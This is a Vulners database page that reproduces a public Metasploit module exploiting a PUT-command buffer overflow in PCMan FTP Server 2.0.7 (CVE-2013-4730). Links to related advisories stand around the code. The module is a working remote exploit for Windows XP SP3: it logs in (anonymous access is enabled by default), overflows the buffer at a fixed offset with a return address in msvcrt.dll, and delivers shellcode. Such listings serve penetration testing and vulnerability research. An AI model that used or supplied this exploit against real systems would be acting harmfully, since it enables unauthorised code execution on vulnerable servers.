Lucene search
K

PCMAN FTP Server Buffer Overflow - PUT Command

🗓️ 26 Jan 2016 23:09:31Reported by Jay Turla, Chris HigginsType 
metasploit
 metasploit
🔗 www.rapid7.com👁 15 Views

PCMAN FTP Server Buffer Overflow in PUT Command. Enables anonymous credentials, requires authentication

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2013-4730
22 Jul 201300:00
circl
CVE
CVE-2013-4730
15 May 201414:00
cve
Cvelist
CVE-2013-4730
15 May 201414:00
cvelist
Metasploit
PCMAN FTP Server Post-Authentication STOR Command Stack Buffer Overflow
20 Sep 201317:18
metasploit
NVD
CVE-2013-4730
15 May 201414:55
nvd
OpenVAS
PCMan's FTP Server Multiple Vulnerabilities
2 Jul 201300:00
openvas
OpenVAS
PCMAN FTP Server STOR Command Buffer Overflow vulnerability
21 Aug 201300:00
openvas
OpenVAS
PCMAN FTP Server MKD Command Buffer Overflow vulnerability
25 Feb 201500:00
openvas
OpenVAS
PCMan's FTP Server Multiple Vulnerabilities
2 Jul 201300:00
openvas
Prion
Buffer overflow
15 May 201414:55
prion
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Ftp

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'PCMAN FTP Server Buffer Overflow - PUT Command',
      'Description'    => %q{
          This module exploits a buffer overflow vulnerability found in the PUT command of the
          PCMAN FTP v2.0.7 Server. This requires authentication but by default anonymous
          credentials are enabled.
      },
      'Author'         =>
          [
            'Jay Turla',      # Initial Discovery -- @shipcod3
            'Chris Higgins'   # msf Module -- @ch1gg1ns
          ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-4730' ],
          [ 'EDB',   '37731'],
          [ 'OSVDB',   '94624']
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process'
        },
      'Payload'        =>
        {
          'Space'   => 1000,
          'BadChars'  => "\x00\x0A\x0D",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP3 English',
            {
              'Ret' => 0x77c35459, # push esp ret C:\WINDOWS\system32\msvcrt.dll
              'Offset' => 2007
            }
          ],
        ],
      'DisclosureDate' => '2015-08-07',
      'DefaultTarget'  => 0))
  end

  def post_auth?
    true
  end

  def check
    connect_login
    disconnect

    if /220 PCMan's FTP Server 2\.0/ === banner
      Exploit::CheckCode::Appears
    else
      Exploit::CheckCode::Safe
    end
  end


  def exploit
    connect_login

    print_status('Generating payload...')
    sploit = rand_text_alpha(target['Offset'])
    sploit << [target.ret].pack('V')
    sploit << make_nops(16)
    sploit << payload.encoded

    send_cmd( ["PUT", sploit], false )
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation